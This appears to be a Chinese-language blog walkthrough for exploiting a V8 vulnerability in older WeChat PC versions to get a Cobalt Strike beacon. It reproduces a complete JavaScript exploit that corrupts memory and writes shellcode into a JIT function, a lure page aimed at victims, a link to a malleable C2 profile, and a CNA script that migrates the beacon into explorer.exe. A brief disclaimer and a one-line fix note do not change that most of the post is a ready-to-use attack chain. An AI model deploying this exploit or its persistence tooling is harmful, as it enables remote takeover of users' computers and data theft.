天天看點

微信上線cs複現

免責聲明:本站提供安全工具、程式(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

一:漏洞描述

此次微信漏洞由于内置浏覽器使用google生态導緻,漏洞利用簡單,危害性級别高,攻擊者向使用者在微信上發送一條經過精心構造的惡意連結,PC 版使用者隻要點選後,shellcode(惡意代碼的一種)即會啟動,使用者的電腦可被完全控制,造成資訊洩露、木馬中毒等後果。

二: 漏洞影響

根據騰訊安全中心的公告,這是因為 chrome 浏覽器使用的 V8 引擎存在安全問題導緻的。該漏洞僅影響 windows 版本的 PC 版微信,且隻影響 3.2.1.141 以下版本。

三: 漏洞複現

使用cs生成x86的payload放置在需要加載的js中,這裡提供一個tools大佬寫的html,shellcode中放置生成的x86的c#payload,。(cs如何生成shellcode此處不示範)

<head>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

</head>

<h1>來,寶,給你看個好東西</h1>

<script>
ENABLE_LOG = true;

IN_WORKER = true;



// run calc and hang in a loop

var shellcode = [];



function print(data) {

}





var not_optimised_out = 0;

var target_function = (function (value) {

    if (value == 0xdecaf0) {

        not_optimised_out += 1;

    }

    not_optimised_out += 1;

    not_optimised_out |= 0xff;

    not_optimised_out *= 12;

});



for (var i = 0; i < 0x10000; ++i) {

    target_function(i);

}





var g_array;

var tDerivedNCount = 17 * 87481 - 8;

var tDerivedNDepth = 19 * 19;



function cb(flag) {

    if (flag == true) {

        return;

    }

    g_array = new Array(0);

    g_array[0] = 0x1dbabe * 2;

    return 'c01db33f';

}



function gc() {

    for (var i = 0; i < 0x10000; ++i) {

        new String();

    }

}



function oobAccess() {

    var this_ = this;

    this.buffer = null;

    this.buffer_view = null;



    this.page_buffer = null;

    this.page_view = null;



    this.prevent_opt = [];



    var kSlotOffset = 0x1f;

    var kBackingStoreOffset = 0xf;



    class LeakArrayBuffer extends ArrayBuffer {

        constructor() {

            super(0x1000);

            this.slot = this;

        }

    }



    this.page_buffer = new LeakArrayBuffer();

    this.page_view = new DataView(this.page_buffer);



    new RegExp({ toString: function () { return 'a' } });

    cb(true);



    class DerivedBase extends RegExp {

        constructor() {

            // var array = null;

            super(

                // at this point, the 4-byte allocation for the JSRegExp `this` object

                // has just happened.

                {

                    toString: cb

                }, 'g'

                // now the runtime JSRegExp constructor is called, corrupting the

                // JSArray.

            );



            // this allocation will now directly follow the FixedArray allocation

            // made for `this.data`, which is where `array.elements` points to.

            this_.buffer = new ArrayBuffer(0x80);

            g_array[8] = this_.page_buffer;

        }

    }



    // try{

    var derived_n = eval(`(function derived_n(i) {

        if (i == 0) {

            return DerivedBase;

        }



        class DerivedN extends derived_n(i-1) {

            constructor() {

                super();

                return;

                ${"this.a=0;".repeat(tDerivedNCount)}

            }

        }



        return DerivedN;

    })`);



    gc();





    new (derived_n(tDerivedNDepth))();



    this.buffer_view = new DataView(this.buffer);

    this.leakPtr = function (obj) {

        this.page_buffer.slot = obj;

        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);

    }



    this.setPtr = function (addr) {

        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);

    }



    this.read32 = function (addr) {

        this.setPtr(addr);

        return this.page_view.getUint32(0, true, ...this.prevent_opt);

    }



    this.write32 = function (addr, value) {

        this.setPtr(addr);

        this.page_view.setUint32(0, value, true, ...this.prevent_opt);

    }



    this.write8 = function (addr, value) {

        this.setPtr(addr);

        this.page_view.setUint8(0, value, ...this.prevent_opt);

    }



    this.setBytes = function (addr, content) {

        for (var i = 0; i < content.length; i++) {

            this.write8(addr + i, content[i]);

        }

    }

    return this;

}



function trigger() {

    var oob = oobAccess();



    var func_ptr = oob.leakPtr(target_function);

    print('[*] target_function at 0x' + func_ptr.toString(16));



    var kCodeInsOffset = 0x1b;



    var code_addr = oob.read32(func_ptr + kCodeInsOffset);

    print('[*] code_addr at 0x' + code_addr.toString(16));



    oob.setBytes(code_addr, shellcode);



    target_function(0);

}



try{

    print("start running");

    trigger();

}catch(e){

    print(e);

}

</script>
           

但是經過測試發現該方法點選後會話極易掉線,并且關閉浏覽器會話便消失,這裡提供另一位大佬的方法,加載自定義 malleable C2 配置檔案,将sleep時間修改為1秒,然後加載一個直接将會話遷移到explorer.exe中的cna腳本,操作如下:

下載下傳已經寫好的配置檔案(大佬已經寫好的):https://www.ailiqun.xyz/images/jquery-c2.4.0.profile

将該配置檔案放在cs服務端中,啟用的時候在末尾加上這個配置檔案

微信上線cs複現

啟用後加載一個 Cobalt Strike automigrate 自動遷移程序的插件,将下面的代碼儲存為cna加載到用戶端的cs中

on beacon_initial
{
 sub callback
 {
  $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  $listener = "test";
  if ($2  ismatch $regex)
  {
   $pid = matched()[1];
   $inject_pid = $pid;
   if (-is64 $1)
   {
    $arch = "x64";
   }
   else
   {
    $arch = "x86";
   }
   binject($1, $pid, $listener, $arch);
  }
 }
 if($inject_pid != beacon_info($1,"pid"))
 {
  bps($1, &callback);
 }
}
           
微信上線cs複現

##測試上線

有vps的可以簡單在伺服器上開個python服務,指令為

python -m SimpleHTTPServer port

,将需要點選的html放入伺服器中産生連接配接進行點選即可上線,自動生成一個explorer的會話。

微信上線cs複現

四: 修複方法:更新官方釋出的最新版本即可

參考連接配接:https://ailiqun.xyz/2021/04/18/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8-v8-%E5%9C%A8%E5%BE%AE%E4%BF%A1%E4%B8%8A%E7%9A%84%E5%BA%94%E7%94%A8/

https://www.t00ls.net/viewthread.php?tid=60463&extra=&page=1